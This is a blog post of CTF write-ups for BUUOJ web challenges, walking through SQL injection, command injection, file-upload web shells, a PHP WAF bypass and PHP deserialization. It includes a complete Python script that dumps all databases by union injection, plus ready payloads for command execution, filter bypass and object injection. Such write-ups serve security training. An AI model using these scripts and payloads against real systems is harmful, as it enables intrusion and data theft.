BUUOJ question brushing record 9-16

Posted by haolan on Thu, 27 Jan 2022 09:12:25 +0100

[geek challenge 2019]LoveSQL

​ Try the universal password first and go straight in Then try

?username=1' order by 3#&password=1

​ But I couldn't do it anyway. Later, I found that it was because the # number couldn't be transmitted, so I changed it to% 23 (# url code) Then try

username=1' order by 3%23&password=1
username=1' order by 4%23&password=1
username=1' union select 1,2,3%23&password=1

​ Then, as shown in the figure, you can see which columns correspond to the control

​ Then try

?username=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23&password=1

(it's a little overlapped, but it doesn't matter. The script will be directly explained later)

​ Then I was happy. Isn't this the first question of sqli lab? The script written before the change was just a shuttle, and the pants were marked out for it (there are quite a lot of things. Fortunately, I wrote dichotomy injection, otherwise I really have to run for half a day)

​ Post exp below (just make do, the script can be used)

# coding=utf-8

import requests
from urllib import parse
import sys
from bs4 import BeautifulSoup

# url = "http://www.sqlstudy.com/sqlstudy/Less-1"
url = "http://bdf1ece7-7214-451c-8f5c-8c52f83a8134.node4.buuoj.cn:81/check.php"
def CheckStatus(r_text):
    if "Hello" in r_text:
        return 1
    else:
        return 0

def PrintNameAndPswd(res_text):
    # pos_name = res_text.index("Your Login name:")
    pos_name = res_text.index("Hello ")
    pos_name_move = pos_name
    # pos_pswd = res_text.index("Your Password:", pos_name)
    pos_pswd = res_text.index("Your password is", pos_name)
    pos_pswd_move = pos_pswd
    str_name = ''
    str_pswd = ''
    while res_text[pos_name_move] != '<':
        pos_name_move += 1
    str_name = res_text[pos_name : pos_name_move]
    while res_text[pos_pswd_move] != '<':
        pos_pswd_move += 1
    str_pswd = res_text[pos_pswd : pos_pswd_move]
    # print (str_name + '\n' + str_pswd)
    # print(str_name)
    return str_name


def GetColumnsNum():
    left = 1
    right = 20
    mid = (left + right) // 2
    while left <= right:
        payload = "username=1' order by {}%23&password=1".format(mid)
        res = requests.get(url = url , params = payload)
        # print(parse.unquote(res.url))
        res_text = res.text
        if CheckStatus(res_text):
            # PrintNameAndPswd(res_text , pos_name , pos_pswd)
            left = mid + 1
        else:
            right = mid - 1
        mid = (right + left) // 2

    return mid

def HowItContrl(columnsnum):
    # Your Login name:2
    # Your Password:3
    payload = "username=-1' union select "
    for i in range(1 , columnsnum + 1):
        payload = payload + "{},".format(i)
    res = requests.get(url=url , params=payload.strip(",") + '%23&password=1')
    res_text = res.text
    if CheckStatus(res_text):
        PrintNameAndPswd(res_text)

def GetAllDatabase():
    payload = "username=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23&password=1"
    res = requests.get(url=url, params=payload)
    # print(parse.unquote(res.url))
    res_text = res.text
    # print(res_text)
    if (CheckStatus(res_text)):
        return PrintNameAndPswd(res_text)

def WhereAmI():
    payload = "username=-1' union select 1,database(),3%23&password=1"
    res = requests.get(url=url, params=payload)
    # print(parse.unquote(res.url))
    res_text = res.text
    if (CheckStatus(res_text)):
        MyPosition = PrintNameAndPswd(res_text)
        return MyPosition[MyPosition.index("Hello") + 6 : -1 ]

def GetTableName(DatabaseName):
    payload = "username=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=\"{}\"%23&password=1".format(DatabaseName)
    res = requests.get(url=url, params=payload)
    # print(parse.unquote(res.url))
    res_text = res.text
    if (CheckStatus(res_text)):
        TableName = PrintNameAndPswd(res_text)
        TableName = TableName[TableName.index("Hello") + 6 : -1].split(",")
        return TableName

def GetColumnName(TableName):
    payload = "username=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='{}' %23&password=1".format(TableName)
    res = requests.get(url=url, params=payload)
    # print(parse.unquote(res.url))
    res_text = res.text
    if (CheckStatus(res_text)):
        ColumnName = PrintNameAndPswd(res_text)
        ColumnName = ColumnName[ColumnName.index("Hello") + 6 : -1].split(",")
        return ColumnName

def GetDetails(DatabaseName , TableName , ColumnName):
    payload = "username=-1' union select 1,group_concat({}),3 from {}.{} %23&password=1".format(ColumnName , DatabaseName , TableName)
    res = requests.get(url=url, params=payload)
    # print(parse.unquote(res.url))
    res_text = res.text
    if (CheckStatus(res_text)):
        Details = PrintNameAndPswd(res_text)
        Details = Details[Details.index("Hello") + 6 : -1].split(",")
        return Details

if __name__ == "__main__" :
    with open('sqli-lab1.txt' , 'w') as f:
        columnsnum = GetColumnsNum()
        f.write("column_number = " + str(columnsnum) + '\n')
        # HowItContrl(columnsnum)
        DatabaseName = GetAllDatabase()
        DatabaseName = DatabaseName[DatabaseName.index("Hello") + 6 : -1].split(",")
        # print(DatabaseName)
        MyPosition = WhereAmI()
        f.write("You are in : " + MyPosition + '\n')
        for i in range(0,len(DatabaseName)):
            f.write("DatabaseName : " + DatabaseName[i] + '\n')
            TableName = []
            TableName = GetTableName(DatabaseName[i])
            # print(TableName)
            if 'NoneType' in str(type(TableName)):
                continue
            for j in range(0,len(TableName)):
                f.write("--TableName : " + TableName[j] + '\n')
                ColumnName = []
                ColumnName = GetColumnName(TableName[j])
                # print(ColumnName)
                if 'NoneType' in str(type(ColumnName)):
                    continue
                for k in range(0, len(ColumnName)):
                    f.write("----ColumnName : " + ColumnName[k] + '\n')
                    Details = []
                    Details = GetDetails(DatabaseName[i] , TableName[j] , ColumnName[k])
                    # print(type(Details))
                    Details_type = str(type(Details))
                    if not "NoneType" in Details_type:
                        for l in range(0,len(Details)):
                            f.write("------Details : " + Details[l] + '\n')
                            if l == len(Details) - 1:
                                f.write("\n---------------------------------------------------------------\n\n")
                    else:
                        f.write("--------Details : NULL \n")

​ Therefore, it is necessary to develop the good habit of collecting scripts 🤔

[GXYCTF2019]Ping Ping Ping

​ Combined with the title, think of ping

​ First try /? ip=127.0.0.1;ls, you can see index. Ls in the directory PHP and flag PHP, try cat flag PHP, found that spaces are filtered

Bypass space filtering:

${IFS}
$IFS$9			// It doesn't matter what the numbers in the back change
$IFS
<
<>
,
%20
%09

​ The above are some common ways to bypass space filtering, but this question also filters some special characters, and finally chooses $IFS

flag filtering bypass:

​ So use cat $IFS $1flag PHP, of course, the flag is filtered. Try to open index PHP, see the filtering rules

​ So if f l a g does not appear at the same time, find three solutions

Party I:

​ See that a is a controllable variable, so

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

Party II:

​ When bash is filtered, use sh

?ip=1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

Third party:

​ Inline (using backquotes), give priority to executing commands within backquotes, and execute the results as statements in the outer layer

?ip=1|cat$IFS$1`ls`

PS: there is a pit. The flag can only be seen in the source code. It won't be output. At that time, I had been looking for it for a long time

[geek challenge 2019]Knife

​ When I opened the screen and saw this, didn't the ant sword shuttle in a row

​ The shuttle is gone

[geek challenge 2019]Http

​ Casually find the previous example, change the latter part into the target, and then go to the first page (maybe I did the previous question too fast?)

​ Find secrect in burpsuite PHP, look inside the browser

​ A glance at referer

​ A glance at user agent

​ A glance xff

​ Cut it

[geek challenge 2019]Upload

​ Try to pass the picture horse and find <? Fi lt ered, even XOR deformation has to be <?, We can't get around with our existing knowledge, so Google Hack

php tags in HTML:

  1. XML style:
<?php
    /* php code */
?>

​ It is enabled by default and cannot be disabled

  1. Short style
<?
	/* php code */
?>

​ Need to be in the configuration file PHP Enable short in ini_ open_ Tag option

  1. ASP style
<%
	/* php code */
%>

​ ASP needs to be enabled in the configuration settings_ Tags option, but it is no longer supported in php7

  1. SCRIPT style
<script language="php">
    /* php code */
</script>

​ php7 is no longer supported

​ Try to use <%% >, and then find that the content type and file header to be detected are changed. After that, it is found that php is the keyword filtered. Use it according to the wp of the masters Phtml (then I don't know why. png is not a picture, so it can be transmitted by changing. jpg)

​ As shown in the figure above, it is found that it is not parsed, which means <% can't be done. Try script

​ That's it. The ant sword is over

[ACTF2020 freshman competition] Upload

​ Many don't say, first try to pass a conventional one sentence Trojan horse, and find that php has been filtered Combined with the above, try to use phtml. Then, er Er Er came out with phpinfo. Even the ant sword turned the directory, shuttle! (looking back at the title, it turned out to be the freshman competition. No wonder it's so simple)

[RoarCTF 2019]Easy Calc

​ It seems that you can't get anything useful by injecting at a glance and fuzz ing first

​ Look, there is such a paragraph in the source code

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>answer:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("What is this?can't calculate sth.!");
            }
        })
        return false;
    })
</script>

​ As soon as you see that data is a controllable variable, you think about how to inject it. Then you find a calc.php. Go in and see the source code

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

​ The last sentence is exciting, $str is a controllable variable with eval. Isn't it directly executable? But if you want to bypass it, you have to understand some string features in php

Characteristics of strings in php

​ Quote a master's explanation:

In the process of parsing the query string, some characters will be deleted or replaced with underscores For example, /?% 20news[id%00=42 will be converted to array ([news_id] = > 42) If an IDS/IPS or WAF has a rule when news_ If the value of the ID parameter is a non numeric value, it is intercepted. Then we can bypass it with the following statement:

/news.php?%20news[id%00=42"+AND+1=0--

The value of the parameter% 20news[id%00 of the above PHP statement will be stored in $_GET["news_id"]

PHP needs to convert all parameters to valid variable names, so when parsing query strings, it does two things:

  1. Delete whitespace

  2. Convert some characters to underscores (including spaces)

​ Simply put,% 20num in waf= Num, but after php preprocessing, "% 20" (i.e. space) will be deleted. At this time, it will become num, which will be executed in php statement We can use this to bypass, that is, use?% when passing parameters 20num=

​ There are pictures as evidence

​ Then use var_dump and scanner functions. The ASCII code of / is 47. Scanner (/) scans the root directory, as shown in the figure

​ Found that there is a f1agg, the same idea, all need to use chr() Splice

​ scandir(/f1agg) is not found successfully, which indicates that it is not a directory but a file, so use file_ get_ Just read contents (record a pit. It turns out that f is followed by 1 instead of l, so I can't read it)

[geek challenge 2019]PHP (learn about deserialization systematically)

​ First download www.zip (guess, normal thinking may need to use dirsearch to scan), which has index php class. PHP and fake flag php

​ index.php is as follows

<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        position: absolute;   
        top: 50%;   
        left:50%;   
        margin: -150px 0 0 -150px;   
        width: 300px;   
        height: 300px;   
    }   
    h4{   
        font-size: 2em;   
        margin: 0.67em 0;   
    }
</style>
<body>
<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">Because every time the cat jumps on my keyboard, I have a good habit of backing up the website
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">Worthy of being me!!!
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>

​ See an include 'class PHP ', then take a look at class PHP content bar

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

​ Obviously, a deserialization problem requires username = admin password = 100, but I've seen the theoretical knowledge before and haven't played this problem, so I have to look at the wp reproduction of the masters and record the general ideas and steps of deserialization

Problem solving steps

Construct serialization

​ First create the target sequence

<?php
class Name
{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}

$a = new Name('admin' , 100);

var_dump(serialize($a));

?>

​ Output:

string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

​ This is our target sequence

Bypass__ wakeup()

​ Because__ wakeup() will reassign our sequence, so we have to bypass it A very simple way to bypass is to bypass when the number of elements in the sequence is greater than the actual number You can change the 2 after "Name" to any number larger than it, that is

string(77) "O:4:"Name":5:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

​ In addition, because the sequence is a private attribute, you need to add% 00 before the class name and field name (% 00 is a character, so it is only a length). However, the number does not need to be changed, because it has been counted in at the time of output, but it has not been printed out, so it is changed to

string(77) "O:4:"Name":5:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}"

payload:

?select=O:4:"Name":5:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

​ ps: I'm blind again. I type select as secret, and I say why my payload can't make a flag all the time 😠

Topics: CTF